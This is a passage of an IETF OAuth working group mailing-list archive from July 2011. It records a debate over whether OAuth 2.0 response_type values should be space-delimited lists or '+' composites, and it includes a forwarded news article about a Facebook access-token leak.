oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0089711E808C for ; Tue, 19 Jul 2011 10:08:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.298 X-Spam-Level: X-Spam-Status: No, score=-3.298 tagged_above=-999 required=5 tests=[AWL=0.300, BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3MzHwOhLvkMd for ; Tue, 19 Jul 2011 10:08:20 -0700 (PDT) Received: from mail-qy0-f179.google.com (mail-qy0-f179.google.com [209.85.216.179]) by ietfa.amsl.com (Postfix) with ESMTP id 663C51F0C3D for ; Tue, 19 Jul 2011 10:08:18 -0700 (PDT) Received: by qyk29 with SMTP id 29so3274707qyk.10 for ; Tue, 19 Jul 2011 10:08:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=9B0HbDXQLJ2LmcRpipGL9Fzeh7wI0cvSvTQxSI9HZao=; b=bGqJlyC/EEwPLOcLh5vDVVSnAidyE0jXgfuYk/Ib12vG/sjqpRaIvffg7ARcd34uyO 766G68xIwLb8DLhV6URAvJeBnPNTXOxzQLFbX3XnYApFJkjOBRtg5QZmETsupmug3m3q 4UygHMbFUhoQ8ExdYSPg+T1NcuWY5dOFJ9KGw= MIME-Version: 1.0 Received: by 10.229.41.70 with SMTP id n6mr5996086qce.237.1311095297752; Tue, 19 Jul 2011 10:08:17 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Tue, 19 Jul 2011 10:08:17 -0700 (PDT) In-Reply-To: <4E1F6AAD24975D4BA5B168042967394348D52D1F@TK5EX14MBXC201.redmond.corp.microsoft.com> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D52D1F@TK5EX14MBXC201.redmond.corp.microsoft.com> Date: Tue, 19 Jul 2011 18:08:17 +0100 Message-ID: From: Aiden Bell To: Mike Jones Content-Type: multipart/alternative; boundary=0016368336d67d3fd804a86f2997 Cc: OAuth WG Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 17:08:24 -0000 --0016368336d67d3fd804a86f2997 Content-Type: text/plain; charset=ISO-8859-1 This seems clearer Eran. I don't blame you for not liking "collection", I was searching for a term without too much theoretical background; Your revision reads much better. I'm happy with it. This seems like a good alternative now if parsing is the concensus. Thanks again, Aiden On 19 July 2011 17:33, Mike Jones wrote: > Good > > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of > Eran Hammer-Lahav > Sent: Tuesday, July 19, 2011 9:24 AM > To: OAuth WG > Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New > Authorization Endpoint Response Types > > Revised text. I changed it to focus on the implementation details. > > In other words, all response types must be registered. If the type name > includes spaces, it changes how the value is compared (space-delimited list > of values where the order does not matter). That's it. Spaces only change > how values are compared. > > EHL > > --- > > 8.4. Defining New Authorization Endpoint Response Types > > New response types for use with the authorization endpoint are > defined and registered in the authorization endpoint response type > registry following the procedure in Section 11.3. Response type > names MUST conform to the response-type ABNF. > > response-type = response-name *( SP response-name ) > response-name = 1*response-char > response-char = "_" / DIGIT / ALPHA > > If a response type contains one of more space characters (%x20), it is > compared as a space-delimited list of values in which the order of values > does not matter. Only one order of values can be registered, which covers > all other arrangements of the same set of values. > > For example, the response type "token code" is left undefined by this > specification. > However, an extension can define and register the "token code" response > type. > Once registered, the same combination cannot be registered as "code > token", but > both values can be used to denote the same response type. > > Also, change the definition of response_type in section 3.1.1: > > response_type > REQUIRED. The value MUST be one of "code" for requesting an > authorization code as described by Section 4.1.1, "token" for > requesting an access token (implicit grant) as described by > Section 4.2.1, or a registered extension value as described by > Section 8.4. If the response type contains one or more space > characters > (%x20), it is interpreted as a space-delimited list of values, > where > the order of values does not matter (e.g. "a b" is the same as "b > a"). > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --0016368336d67d3fd804a86f2997 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable This seems clearer Eran. I don't blame you for not liking "collect= ion", I was searching for a term without
too much theoretical backg= round; Your revision reads much better.

I'm happy with it. This = seems like a good alternative now if parsing is the concensus.

Thanks again,
Aiden

On 19 July 201= 1 17:33, Mike Jones <Michael.Jones@microsoft.com> wrote:
Good

-----Original Message-----
From: oauth-bounces@ietf.org = [mailto:oauth-bounces@ietf.org] On Behalf Of Eran Hammer-Lahav
Sent: Tuesday, July 19, 2011 9:24 AM
To: OAuth WG
Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Author= ization Endpoint Response Types

Revised text. I changed it to focus on the implementation details.

In other words, all response types must be registered. If the type name inc= ludes spaces, it changes how the value is compared (space-delimited list of= values where the order does not matter). That's it. Spaces only change= how values are compared.

EHL

---

8.4.=A0 Defining New Authorization Endpoint Response Types

=A0=A0 New response types for use with the authorization endpoint are
=A0=A0 defined and registered in the authorization endpoint response type =A0=A0 registry following the procedure in Section 11.3.=A0 Response type =A0=A0 names MUST conform to the response-type ABNF.

=A0=A0=A0=A0 response-type=A0 =3D response-name *( SP response-name )
=A0=A0=A0=A0 response-name=A0 =3D 1*response-char
=A0=A0=A0=A0 response-char=A0 =3D "_" / DIGIT / ALPHA

=A0=A0 If a response type contains one of more space characters (%x20), it = is
=A0 compared as a space-delimited list of values in which the order of val= ues
=A0 does not matter. Only one order of values can be registered, which cov= ers
=A0 all other arrangements of the same set of values.

=A0=A0 For example, the response type "token code" is left undefi= ned by this specification.
=A0 =A0However, an extension can define and register the "token code&q= uot; response type.
=A0=A0 Once registered, the same combination cannot be registered as "= code token", but
=A0 =A0both values can be used to denote the same response type.

Also, change the definition of response_type in section 3.1.1:

=A0=A0 response_type
=A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0 The value MUST be one of "code&q= uot; for requesting an
=A0=A0=A0=A0=A0=A0=A0=A0 authorization code as described by Section 4.1.1, = "token" for
=A0=A0=A0=A0=A0=A0=A0=A0 requesting an access token (implicit grant) as des= cribed by
=A0=A0=A0=A0=A0=A0=A0=A0 Section 4.2.1, or a registered extension value as = described by
=A0=A0=A0=A0=A0=A0=A0=A0 Section 8.4. If the response type contains one or = more space characters
=A0 =A0 =A0 =A0 (%x20), it is interpreted as a space-delimited list of val= ues, where
=A0 =A0 =A0 =A0 the order of values does not matter (e.g. "a b" = is the same as "b a").


_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth

_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



--
-----------= -------------------------------------------------------
Never send sensi= tive or private information via email unless it is encrypted. http://www.gnupg.org
--0016368336d67d3fd804a86f2997-- From Jeff.Hodges@KingsMountain.com Tue Jul 19 11:43:01 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4241F11E807A for ; Tue, 19 Jul 2011 11:43:01 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.141 X-Spam-Level: X-Spam-Status: No, score=-102.141 tagged_above=-999 required=5 tests=[AWL=-0.191, BAYES_00=-2.599, IP_NOT_FRIENDLY=0.334, SARE_MILLIONSOF=0.315, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ub8bgyeHPYfx for ; Tue, 19 Jul 2011 11:42:56 -0700 (PDT) Received: from oproxy4-pub.bluehost.com (oproxy4-pub.bluehost.com [69.89.21.11]) by ietfa.amsl.com (Postfix) with SMTP id D3D7811E8070 for ; Tue, 19 Jul 2011 11:42:56 -0700 (PDT) Received: (qmail 5068 invoked by uid 0); 19 Jul 2011 18:42:56 -0000 Received: from unknown (HELO box514.bluehost.com) (74.220.219.114) by cpoproxy1.bluehost.com with SMTP; 19 Jul 2011 18:42:55 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=kingsmountain.com; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:Content-Type:Content-Transfer-Encoding:X-Identified-User; b=Cp7P5idxC+8R09JmHQ1dCe/AIo34a0SZr+AnM6G0tcEmXsTEIS1KfDGYyR/7/GuxrSJu3Fyoj1OiL2lPOobR98FfdoevSC2dcW6DxwuNHFHifTjLfwEwF52pimokwmBE; Received: from outbound4.ebay.com ([216.113.168.128] helo=[10.244.137.251]) by box514.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1QjFFu-0006ce-TO for oauth@ietf.org; Tue, 19 Jul 2011 12:42:54 -0600 Message-ID: <4E25D02D.1060400@KingsMountain.com> Date: Tue, 19 Jul 2011 11:42:53 -0700 From: =JeffH User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18) Gecko/20110617 Thunderbird/3.1.11 MIME-Version: 1.0 To: IETF oauth WG Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Identified-User: {11025:box514.bluehost.com:kingsmou:kingsmountain.com} {sentby:smtp auth 216.113.168.128 authed with jeff.hodges+kingsmountain.com} Subject: [OAUTH-WG] fyi: Access Token Leak X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 18:43:01 -0000 Of possible interest... Facebook Patches Access Token Leak Users should change their passwords to mitigate threats posed by the accidental leak of perhaps millions of account identity details. http://www.informationweek.com/news/security/client/229500030 By Mathew J. Schwartz InformationWeek May 11, 2011 01:05 PM Have Facebook advertisers and analytics firms been reviewing your private profile? On Tuesday, security researchers warned that, due to how the site handles access tokens, enterprising third parties would have been able to access users' private data and perform any actions with a user's identity, beginning in 2007. "Third parties, in particular advertisers, have accidentally had access to Facebook users' accounts including profiles, photographs, chat, and also had the ability to post messages and mine personal information," said Nishant Doshi, a senior principal software engineer at Symantec, in a blog post. He discovered the flaw, together with Symantec's Candid Wueest. Facebook has reportedly acknowledged and fixed the problem. Whether anyone had exploited the flaw, however, remains an open question. "There is no good way to estimate how many access tokens have already been leaked since the release of Facebook applications back in 2007," said Doshi. "We fear a lot of these tokens might still be available in log files of third-party servers or still be actively used by advertisers." To mitigate the threat posed by user credentials lingering in advertisers' log files, change your Facebook password. "Changing the password invalidates these tokens and is equivalent to 'changing the lock' on your Facebook profile," said Doshi. The flaw resulted because of how Facebook iFrame applications handled access tokens. "Access tokens are like 'spare keys' granted by you to the Facebook application. Applications can use these tokens or keys to perform certain actions on behalf of the user or to access the user's profile," said Doshi. "Each token or 'spare key' is associated with a select set of permissions, like reading your wall, accessing your friend's profile, posting to your wall." Users grant specific permissions to an application when they install it. From breno.demedeiros@gmail.com Wed Jul 20 07:51:42 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9C15B21F852E for ; Wed, 20 Jul 2011 07:51:42 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.998 X-Spam-Level: X-Spam-Status: No, score=-2.998 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id YPcFYlSQpUAy for ; Wed, 20 Jul 2011 07:51:38 -0700 (PDT) Received: from mail-pz0-f53.google.com (mail-pz0-f53.google.com [209.85.210.53]) by ietfa.amsl.com (Postfix) with ESMTP id 1958421F8532 for ; Wed, 20 Jul 2011 07:51:33 -0700 (PDT) Received: by pzk6 with SMTP id 6so409242pzk.26 for ; Wed, 20 Jul 2011 07:51:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=99RimvnVA6o0DKVDtZpU5aSr0BvTtmtsGCJaKfqTYXo=; b=Y2Z0vWIMt5Clx2nL5Tbsdca+iyWTez82yxwTIOAZ8lcaRmUo7j8/CFLl0ELvRyTAKv wzEHgyXU95HeAIkbbnQ0cZBNDR/YZDwlzrMeBozD5xFBPnNJmCaXjuGJD9AHXwn0nv3J 9z6CpEO0G+4fnmwGngm/vUUl0phfilHJSCi7Y= MIME-Version: 1.0 Received: by 10.68.43.40 with SMTP id t8mr8482097pbl.57.1311173492347; Wed, 20 Jul 2011 07:51:32 -0700 (PDT) Received: by 10.68.42.41 with HTTP; Wed, 20 Jul 2011 07:51:32 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 07:51:32 -0700 Message-ID: From: Breno To: Paul Tarjan Content-Type: multipart/alternative; boundary=bcaec53af1ac4014b804a8815e2d Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 14:51:42 -0000 --bcaec53af1ac4014b804a8815e2d Content-Type: text/plain; charset=ISO-8859-1 Comments inline. On Tue, Jul 12, 2011 at 8:23 PM, Paul Tarjan wrote: > I like splitting on space like scopes. But I'm fine with registering all > possible compositions that make sense, if you prefer. > I agree with Marius that registering the combinations are not useful, however also agree with Paul that it's not a show stopper. > > > As I posted to the group about a month ago, we are planning on supporting > > response_type=none > response_type=code > response_type=token > response_type=signed_request token > response_type=token signed_request > (and maybe "code token"/"token code") > > Google is planning to support the following combinations: response_type=node response_type=id_token response_type=code response_type=token response_type=code token (in either order, fragment-encoded response) response_type=code id_token (in either order, query-encoded response) response_type=token id_token (in either order, fragment-encoded response) response_type=code token id_token (in any possible order, fragment-encoded response) > We already have support for response_type=none and the signed_request one > is a few weeks out. > > Paul > > > On 7/12/11 1:35 PM, "Eran Hammer-Lahav" wrote: > > >I will withdraw my objections to the change (parsing the response_type > >string) if enough support is present. If you care about it, please speak > >out now. > > > >EHL > > > >> -----Original Message----- > >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > >> Of Mike Jones > >> Sent: Tuesday, July 12, 2011 1:32 PM > >> To: OAuth WG > >> Subject: Re: [OAUTH-WG] defining new response types > >> > >> As a data point motivating this functionality, the OpenID Connect Core > >>spec > >> currently includes: > >> > >> response_type > >> A space delimited, case sensitive list of string > >> values (Pending OAuth 2.0 changes). Acceptable values include > >> "code", "token", and "none". The value MUST include "code" for > >> requesting an Authorization Code, "token" for requesting an Access > >> Token, and "none" if no response is needed. > >> > >> The OpenID Connect Session Management spec also defines an "id_token" > >> response_type. Combinations of these (other than "none") are meaningful > >> and used. > >> > >> The syntax for this can change, but this functionality is very > >>important to > >> OpenID Connect as it is currently written. > >> > >> Thanks, > >> -- Mike > >> > >> -----Original Message----- > >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > >> Of Breno de Medeiros > >> Sent: Tuesday, July 12, 2011 11:48 AM > >> To: Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] defining new response types > >> > >> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav > >> wrote: > >> > That's pretty farfetched. In previous versions we had 'code_and_token' > >> which was a composite value but without any special characters. If > >>people > >> think that we need to force such values to avoid this claimed developer > >> confusion, let's drop the + and be done. > >> > > >> > >> Maybe far fetched, but it's already available in our production > >>environment -- > >> we had implemented the code_and_token approach earlier (though not > >> documented it) but abandoned that route as we thought the exponential > >> explosion was harmful when we started contemplating adding new types > >> and allowing various combinations of them. > >> > >> > The only requirement I was asked to cover was to allow response type > >> extensibility. If there is WG consensus to also support the requirement > >>of > >> composite values using any order, we can discuss that. > >> > >> Let's. > >> > >> > > >> > In addition, defining a parsing method adds a significant amount of > >>new > >> complexity beyond just splitting the string: > >> > > >> > * It allows for composite values that make no sense (since anything > >>goes, > >> composite values are not registered, just the components). > >> > * Additional error codes are needed to indicate bad format, > >>unsupported > >> values (specify which one), unsupported combinations, etc. > >> > * Developers lose the benefit of a simple registry with every possible > >> combination they may choose. > >> > > >> > So the two questions are: > >> > > >> > 1. Do you find the + proposal as defined in -18 to be useful or > >>confusing? > >> > >> It is ugly. > >> > >> > 2. Should the protocol support dynamic composite values with the added > >> complexity (breaking change)? > >> > >> That's my preference. > >> > >> > > >> > EHL > >> > > >> >> -----Original Message----- > >> >> From: Breno de Medeiros [mailto:breno@google.com] > >> >> Sent: Tuesday, July 12, 2011 11:18 AM > >> >> To: Eran Hammer-Lahav > >> >> Cc: Marius Scurtescu; OAuth WG > >> >> Subject: Re: [OAUTH-WG] defining new response types > >> >> > >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav > >> >> > >> >> wrote: > >> >> > Requiring parsing of the response type parameter is a big change at > >> >> > this > >> >> point. Even if it is a decent idea, I'm against it for the sole > >> >> reason that I don't want to introduce such a change - we're done. > >> >> > > >> >> > The + character makes reading values easier because it give > >> >> > composites of > >> >> existing, individually defined values, a special meaning to *people*, > >> >> but it does not change any existing code or adds any work. Servers > >> >> will still perform simple string comparison. Parsing a list of > >>values is > >> unnecessary complexity. > >> >> Developers can learn to put values in their expected order (since > >> >> they are all going to cut-n-paste anyway). > >> >> > >> >> I disagree. I believe that servers will either not support the > >> >> composite types at all, or will allow developers to enter it into any > >> >> order to avoid developer pain. > >> >> > >> >> Also, developers will _not_ cut-and-paste. They will expect the fact > >> >> that order is not meaningful by interacting with providers that don't > >> >> perform exact string matching and then have interoperability issues > >> >> with compliant implementations. > >> >> > >> >> > > >> >> > I rather drop the special character then add parsing, but I think > >> >> > it is a useful > >> >> *convention*. > >> >> > > >> >> > Do people want to keep it or drop it? > >> >> > > >> >> > EHL > >> >> > > >> >> > > >> >> >> -----Original Message----- > >> >> >> From: Breno de Medeiros [mailto:breno@google.com] > >> >> >> Sent: Tuesday, July 12, 2011 10:59 AM > >> >> >> To: Eran Hammer-Lahav > >> >> >> Cc: Marius Scurtescu; OAuth WG > >> >> >> Subject: Re: [OAUTH-WG] defining new response types > >> >> >> > >> >> >> Imposing order and exact string matching on response_type's while > >> >> >> simultaneously supporting a special character '+' and introducing > >> >> >> the concept of composite response_type is a poor compromise, > >> IMNSHO. > >> >> What > >> >> >> is the rationale to fear allowing multiple-valued response_type as > >> >> >> we have for other parameters in the spec? > >> >> >> > >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav > >> >> >> > >> >> >> wrote: > >> >> >> > As for the plus encoding we can choose another char or give an > >> >> example. > >> >> >> > > >> >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" > >> >> >> > > >> >> >> wrote: > >> >> >> > > >> >> >> >> If I read section 8.4 correctly it seems that new response > >> >> >> >> types can be defined but composite values must be registered > >> explicitly. > >> >> >> >> > >> >> >> >> I don't think this approach scales too well. OpenID Connect for > >> >> >> >> example is adding a new response type: id_token. > >> >> >> >> > >> >> >> >> id_token can be combined with either code or token and > >> >> >> >> potentially with both of them, the following combinations must > >> >> >> >> be registered as a > >> >> >> >> result: > >> >> >> >> code+id_token > >> >> >> >> token+id_token > >> >> >> >> code+token+id_token > >> >> >> >> > >> >> >> >> and this assumes that code+token is already registered. > >> >> >> >> > >> >> >> >> I think it makes more sense to define response_type as a space > >> >> >> >> separated list of items, where each item can be individually > >> >> >> >> registered. I do realize that this complicates things quite a > >> >> >> >> bit (not we have to define and deal with both composite > >> >> >> >> response_type and the individual items). > >> >> >> >> > >> >> >> >> As a side note, using + as separator could cause lots of > >>problems. > >> >> >> >> If people naively type "code+toke" it will be decoded as "code > >> token". > >> >> >> >> No one will remember the hex code for +. > >> >> >> >> > >> >> >> >> Marius > >> >> >> >> _______________________________________________ > >> >> >> >> OAuth mailing list > >> >> >> >> OAuth@ietf.org > >> >> >> >> https://www.ietf.org/mailman/listinfo/oauth > >> >> >> > > >> >> >> > >> >> >> > >> >> >> > >> >> >> -- > >> >> >> --Breno > >> >> > > >> >> > >> >> > >> >> > >> >> -- > >> >> --Breno > >> > > >> > >> > >> > >> -- > >> --Breno > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > >> > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > >_______________________________________________ > >OAuth mailing list > >OAuth@ietf.org > >https://www.ietf.org/mailman/listinfo/oauth > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > -- Breno de Medeiros --bcaec53af1ac4014b804a8815e2d Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

Comments inline.

On T= ue, Jul 12, 2011 at 8:23 PM, Paul Tarjan <pt@fb.com> wrote:
I like splitting on space like scopes. But I'm fine with registering al= l
possible compositions that make sense, if you prefer.
=
I agree with Marius that registering the combinations are no= t useful, however also agree with Paul that it's not a show stopper.
=A0


As I posted to the group about a month ago, we are planning on supporting
response_type=3Dnone
response_type=3Dcode
response_type=3Dtoken
response_type=3Dsigned_request token
response_type=3Dtoken signed_request
(and maybe "code token"/"token code")


Google is planning to support the foll= owing combinations:

response_type=3Dnode
response_type=3Did_token
response_type=3Dcode
response= _type=3Dtoken
response_type=3Dcode token (in either order, fragment-encoded response= )
response_type=3Dcode id_token (in either order, query-encoded r= esponse)
response_type=3Dtoken id_token (in either order, fragmen= t-encoded response)
response_type=3Dcode token id_token (in any possible order, fragment-e= ncoded response)

=A0
We already have support for response_type=3Dnone and the signed_request one=
is a few weeks out.

Paul


On 7/12/11 1:35 PM, "Eran Hammer-Lahav" <eran@hueniverse.com> wrote:

>I will withdraw my objections to the change (parsing the response_type<= br> >string) if enough support is present. If you care about it, please spea= k
>out now.
>
>EHL
>
>> -----Original Message-----
>> From: oauth-bounces@ietf= .org [mailto:oauth-bounces@ie= tf.org] On Behalf
>> Of Mike Jones
>> Sent: Tuesday, July 12, 2011 1:32 PM
>> To: OAuth WG
>> Subject: Re: [OAUTH-WG] defining new response types
>>
>> As a data point motivating this functionality, the OpenID Connect = Core
>>spec
>> currently includes:
>>
>> =A0 =A0response_type
>> =A0 =A0 =A0 A space delimited, case sensitive list of string
>> =A0 =A0 =A0 values (Pending OAuth 2.0 changes). =A0Acceptable valu= es include
>> =A0 =A0 =A0 "code", "token", and "none&qu= ot;. =A0The value MUST include "code" for
>> =A0 =A0 =A0 requesting an Authorization Code, "token" fo= r requesting an Access
>> =A0 =A0 =A0 Token, and "none" if no response is needed.<= br> >>
>> The OpenID Connect Session Management spec also defines an "i= d_token"
>> response_type. =A0Combinations of these (other than "none&quo= t;) are meaningful
>> and used.
>>
>> The syntax for this can change, but this functionality is very
>>important to
>> OpenID Connect as it is currently written.
>>
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Thanks,
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 -- Mike
>>
>> -----Original Message-----
>> From: oauth-bounces@ietf= .org [mailto:oauth-bounces@ie= tf.org] On Behalf
>> Of Breno de Medeiros
>> Sent: Tuesday, July 12, 2011 11:48 AM
>> To: Eran Hammer-Lahav
>> Cc: OAuth WG
>> Subject: Re: [OAUTH-WG] defining new response types
>>
>> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav <eran@hueniverse.com>
>> wrote:
>> > That's pretty farfetched. In previous versions we had = 9;code_and_token'
>> which was a composite value but without any special characters. If=
>>people
>> think that we need to force such values to avoid this claimed deve= loper
>> confusion, let's drop the + and be done.
>> >
>>
>> Maybe far fetched, but it's already available in our productio= n
>>environment --
>> we had implemented the code_and_token approach earlier (though not=
>> documented it) but abandoned that route as we thought the exponent= ial
>> explosion was harmful when we started contemplating adding new typ= es
>> and allowing various combinations of them.
>>
>> > The only requirement I was asked to cover was to allow respon= se type
>> extensibility. If there is WG consensus to also support the requir= ement
>>of
>> composite values using any order, we can discuss that.
>>
>> Let's.
>>
>> >
>> > In addition, defining a parsing method adds a significant amo= unt of
>>new
>> complexity beyond just splitting the string:
>> >
>> > * It allows for composite values that make no sense (since an= ything
>>goes,
>> composite values are not registered, just the components).
>> > * Additional error codes are needed to indicate bad format, >>unsupported
>> values (specify which one), unsupported combinations, etc.
>> > * Developers lose the benefit of a simple registry with every= possible
>> combination they may choose.
>> >
>> > So the two questions are:
>> >
>> > 1. Do you find the + proposal as defined in -18 to be useful = or
>>confusing?
>>
>> It is ugly.
>>
>> > 2. Should the protocol support dynamic composite values with = the added
>> complexity (breaking change)?
>>
>> That's my preference.
>>
>> >
>> > EHL
>> >
>> >> -----Original Message-----
>> >> From: Breno de Medeiros [mailto:breno@google.com]
>> >> Sent: Tuesday, July 12, 2011 11:18 AM
>> >> To: Eran Hammer-Lahav
>> >> Cc: Marius Scurtescu; OAuth WG
>> >> Subject: Re: [OAUTH-WG] defining new response types
>> >>
>> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav
>> >> <eran@huenivers= e.com>
>> >> wrote:
>> >> > Requiring parsing of the response type parameter is = a big change at
>> >> > this
>> >> point. Even if it is a decent idea, I'm against it fo= r the sole
>> >> reason that I don't want to introduce such a change -= we're done.
>> >> >
>> >> > The + character makes reading values easier because = it give
>> >> > composites of
>> >> existing, individually defined values, a special meaning = to *people*,
>> >> but it does not change any existing code or adds any work= . Servers
>> >> will still perform simple string comparison. Parsing a li= st of
>>values is
>> unnecessary complexity.
>> >> Developers can learn to put values in their expected orde= r (since
>> >> they are all going to cut-n-paste anyway).
>> >>
>> >> I disagree. I believe that servers will either not suppor= t the
>> >> composite types at all, or will allow developers to enter= it into any
>> >> order to avoid developer pain.
>> >>
>> >> Also, developers will _not_ cut-and-paste. They will expe= ct the fact
>> >> that order is not meaningful by interacting with provider= s that don't
>> >> perform exact string matching and then have interoperabil= ity issues
>> >> with compliant implementations.
>> >>
>> >> >
>> >> > I rather drop the special character then add parsing= , but I think
>> >> > it is a useful
>> >> *convention*.
>> >> >
>> >> > Do people want to keep it or drop it?
>> >> >
>> >> > EHL
>> >> >
>> >> >
>> >> >> -----Original Message-----
>> >> >> From: Breno de Medeiros [mailto:breno@google.com]
>> >> >> Sent: Tuesday, July 12, 2011 10:59 AM
>> >> >> To: Eran Hammer-Lahav
>> >> >> Cc: Marius Scurtescu; OAuth WG
>> >> >> Subject: Re: [OAUTH-WG] defining new response ty= pes
>> >> >>
>> >> >> Imposing order and exact string matching on resp= onse_type's while
>> >> >> simultaneously supporting a special character &#= 39;+' and introducing
>> >> >> the concept of composite response_type is a poor= compromise,
>> IMNSHO.
>> >> What
>> >> >> is the rationale to fear allowing multiple-value= d response_type as
>> >> >> we have for other parameters in the spec?
>> >> >>
>> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav=
>> >> >> <eran@= hueniverse.com>
>> >> >> wrote:
>> >> >> > As for the plus encoding we can choose anot= her char or give an
>> >> example.
>> >> >> >
>> >> >> > On Jul 11, 2011, at 18:07, "Marius Scu= rtescu"
>> >> >> > <mscurtescu@google.com>
>> >> >> wrote:
>> >> >> >
>> >> >> >> If I read section 8.4 correctly it seem= s that new response
>> >> >> >> types can be defined but composite valu= es must be registered
>> explicitly.
>> >> >> >>
>> >> >> >> I don't think this approach scales = too well. OpenID Connect for
>> >> >> >> example is adding a new response type: = id_token.
>> >> >> >>
>> >> >> >> id_token can be combined with either co= de or token and
>> >> >> >> potentially with both of them, the foll= owing combinations must
>> >> >> >> be registered as a
>> >> >> >> result:
>> >> >> >> code+id_token
>> >> >> >> token+id_token
>> >> >> >> code+token+id_token
>> >> >> >>
>> >> >> >> and this assumes that code+token is alr= eady registered.
>> >> >> >>
>> >> >> >> I think it makes more sense to define r= esponse_type as a space
>> >> >> >> separated list of items, where each ite= m can be individually
>> >> >> >> registered. I do realize that this comp= licates things quite a
>> >> >> >> bit (not we have to define and deal wit= h both composite
>> >> >> >> response_type and the individual items)= .
>> >> >> >>
>> >> >> >> As a side note, using + as separator co= uld cause lots of
>>problems.
>> >> >> >> If people naively type "code+toke&= quot; it will be decoded as "code
>> token".
